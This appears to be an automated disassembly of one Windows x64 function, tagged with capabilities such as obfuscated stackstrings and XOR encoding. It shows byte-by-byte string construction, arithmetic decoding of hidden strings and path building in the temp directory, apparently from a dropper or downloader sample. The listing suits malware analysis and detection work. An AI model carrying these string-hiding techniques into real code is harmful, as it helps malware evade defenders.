Function at 0x140001380
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140004110]
xor rax, rsp
mov qword [rsp + 0x190], rax
xor eax, eax
xor edx, edx
xor ecx, ecx
mov byte [rsp + 0x30], 0x61
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x2e
mov word [rsp + 0x37], ax
mov byte [rsp + 0x39], al
mov byte [rsp + 0x33], 0x64
mov byte [rsp + 0x34], 0x61
mov byte [rsp + 0x35], 0x74
mov byte [rsp + 0x36], 0
call qword [sym.imp.USER32.dll_KillTimer]
lea rsi, [0x140004140]
xor edx, edx
mov rcx, rsi
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140004250]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor ebx, ebx
xor eax, eax
lea rdi, [rsp + 0x20]
mov byte [rsp + 0x20], 0x70
mov byte [rsp + 0x21], 0x5e
mov byte [rsp + 0x22], 0x6f
mov byte [rsp + 0x23], 0x2f
mov byte [rsp + 0x24], 0x2f
mov byte [rsp + 0x25], 0x2a
mov byte [rsp + 0x26], 0x62
mov byte [rsp + 0x27], 0x74
mov byte [rsp + 0x28], 0x62
mov byte [rsp + 0x29], 0
repne scasb al, byte [rdi]
mov r8d, ebx
mov rdi, rbx
not rcx
dec rcx
movsxd r9, ecx
test ecx, ecx
jle 0x14000147c
nop dword [rax + rax]
mov eax, r8d
inc rdi
inc r8d
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, 3
add byte [rsp + rdi + 0x1f], al
cmp rdi, r9
jl 0x140001460
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x80]
lea rdx, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400014c0
call fcn.140001110
test eax, eax
jne 0x140001604
mov rax, qword [str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc]
or rcx, 0xffffffffffffffff
mov rdi, rsi
mov qword [rsi], rax
mov rax, qword [0x140003288]
mov qword [rsi + 8], rax
mov rax, qword [0x140003290]
mov qword [rsi + 0x10], rax
mov rax, qword [0x140003298]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1400032a0]
mov qword [rsi + 0x20], rax
mov rax, qword [0x1400032a8]
mov qword [rsi + 0x28], rax
xor eax, eax
repne scasb al, byte [rdi]
mov rdi, rbx
not rcx
dec rcx
movsxd r8, ecx
test ecx, ecx
jle 0x14000156a
nop dword [rax + rax]
mov eax, 0x55555556
inc rdi
imul ebx
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, bl
inc ebx
sub al, dl
add al, 2
add byte [rdi + rsi - 1], al
cmp rdi, r8
jl 0x140001540
xor eax, eax
lea rdx, [0x140004149]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x14]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
mov r8, qword [str.0109c3_]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor edx, edx
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
inc rdx
mov byte [rdi + rdx - 2], al
test al, al
jne 0x1400015c0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400015f0
jmp 0x14000174f
xor eax, eax
lea rdx, [0x140004149]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x14]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
mov rdx, qword [str.0109c3_]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001660
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001690
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400012d0
test eax, eax
jne 0x140001761
xor eax, eax
lea rdx, [0x14000425e]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x18]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
mov rdx, qword [str.0109c3_]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001710
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001740
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400012d0
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140001850
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret